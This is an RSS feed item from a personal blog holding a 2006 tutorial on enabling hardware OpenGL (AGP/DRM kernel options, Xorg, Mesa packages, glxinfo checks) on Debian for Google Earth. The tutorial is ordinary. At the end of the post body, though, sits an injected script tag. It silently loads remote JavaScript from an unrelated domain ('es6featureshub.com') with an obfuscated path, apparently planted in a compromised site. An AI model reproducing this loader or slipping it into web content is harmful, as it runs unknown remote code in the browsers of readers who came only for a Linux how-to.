<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; openGL</title>
	<atom:link href="http://www.larsen-b.com/tags/opengl/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to get openGL working on Debian (for Google Earth)</title>
		<link>http://www.larsen-b.com/Article/231.html</link>
		<comments>http://www.larsen-b.com/Article/231.html#comments</comments>
		<pubDate>Mon, 12 Jun 2006 23:03:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[openGL]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[3D drivers (openGL) have awlays been a source of problem on Linux. A lot of people just don&#8217;t care, since they don&#8217;t use there computer to play games. But yesterday, something change this fact: Google released a native version of &#8230; <a href="http://www.larsen-b.com/Article/231.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>3D drivers (openGL) have awlays been a source of problem on Linux.<br />
A lot of people just don&#8217;t care, since they don&#8217;t use there computer<br />
to play games. But yesterday, something change this fact: Google released<br />
a native version of Google Earth for Linux[1]. As I already played with<br />
Google Earth before, I really want to test this new toy.[2]</p>
<p>Fine, except that I&#8217;m unable to get hardware openGL working and Google Earth is<br />
really slow, so I decided to fix that. (done on two computers..)</p>
<div class="section">
<h1><a id="configure-your-kernel" name="configure-your-kernel">1) Configure your kernel</a></h1>
<p>Be sure to have AGP (Device drivers-&gt;Character device) and DRM (Device<br />
drivers -&gt;Graphic drivers) enabled for your card. Now rebuild it using<br />
the usual way.. and reboot.</p>
<p>After the boot look at dmesg, you should find something like this:</p>
<pre class="literal-block">agpgart: Detected 892K stolen memory.
agpgart: AGP aperture is 128M @ 0xf0000000
[drm] Initialized drm 1.0.1 20051102
...
[drm] Initialized i915 1.4.0 20060119 on minor 0
[drm] Initialized i915 1.4.0 20060119 on minor 1</pre>
<dl class="docutils">
<dt>(If you have a Dell computer like D400 with Intel 855GM, you need to</dt>
<dd>choose the i915 driver for DRM, edit the linux/.config since it doesn&#8217;t<br />
appear in common menuconfig)</dd>
</dl>
</div>
<div class="section">
<h1><a id="install-the-latest-xorg" name="install-the-latest-xorg">2) Install the latest Xorg</a></h1>
<p>This is the tricky part, since Xorg update are not really easy this days.</p>
<pre class="literal-block">sudo apt-get install xserver-xorg</pre>
<p>Let&#8217;s go, for a long update&#8230; (I&#8217;m switching from 6.9 to Xorg 7.0)..<br />
I spent a little time to fix some errors here.. but nothing really important.</p>
</div>
<div class="section">
<h1><a id="install-mesa" name="install-mesa">3) Install Mesa</a></h1>
<p>Now, you need to install the openGL libs, simple apt-get this packages:</p>
<ul class="simple">
<li>xlibmesa-dri</li>
<li>xlibmesa-gl</li>
<li>xlibmesa-glu</li>
<li>mesa-utils</li>
<li>libgl1-mesa-dri</li>
<li>libgl1-mesa-glx</li>
</ul>
</div>
<div class="section">
<h1><a id="tests" name="tests">4) Tests</a></h1>
<p>Start your Xserver, and look in /var/log/Xorg.0.log, you should fine stuff like<br />
this:</p>
<pre class="literal-block">(II) I810(0): [drm] created "i915" driver at busid "pci:0000:00:02.0"
(II) I810(0): [drm] added 8192 byte SAREA at 0xe0b2f000</pre>
<p>So we can test check with <em>glxinfo</em></p>
<pre class="literal-block">display: :0  screen: 0
direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.2</pre>
<p>Be sure to have <em>direct rendering</em> ok.. if this is ok, .. you can start glxgears..<br />
and Google Earth :) ..</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="issues" name="issues">5) Issues</a></h1>
<p>Some users have some trouble w/ DRI not working with  strange messages<br />
( sizeof(I830DRIRec) does not match &#8230;), or strange display updates (out of syncr<br />
windows .. ). This seems to be bugs in Mesa, you can try the latest experimental<br />
(which fix all issues for me). Simply install this packages:</p>
<blockquote>
<ul class="simple"></ul>
</blockquote>
<li>libgl1-mesa-dri_6.5.0.cvs</li>
<li>libglu1-mesa_6.5.0.cvs</li>
<li>libgl1-mesa-glx_6.5.0.cvs</li>
<p><strong>Update: Added issues w/ my Dell Latitude D400</strong></p>
<p><strong>Update2: The latest mesa from the Debian SID is working right now</strong> (no more experimental)</p>
<ul class="simple">
<li>[1] <a class="reference" href="http://www.larsen-b.com/Article/212.html">http://www.larsen-b.com/Article/212.html</a></li>
<li>[2] <a class="reference" href="http://earth.google.com/">http://earth.google.com/</a></li>
</ul>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/231.html/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
	</channel>
</rss>
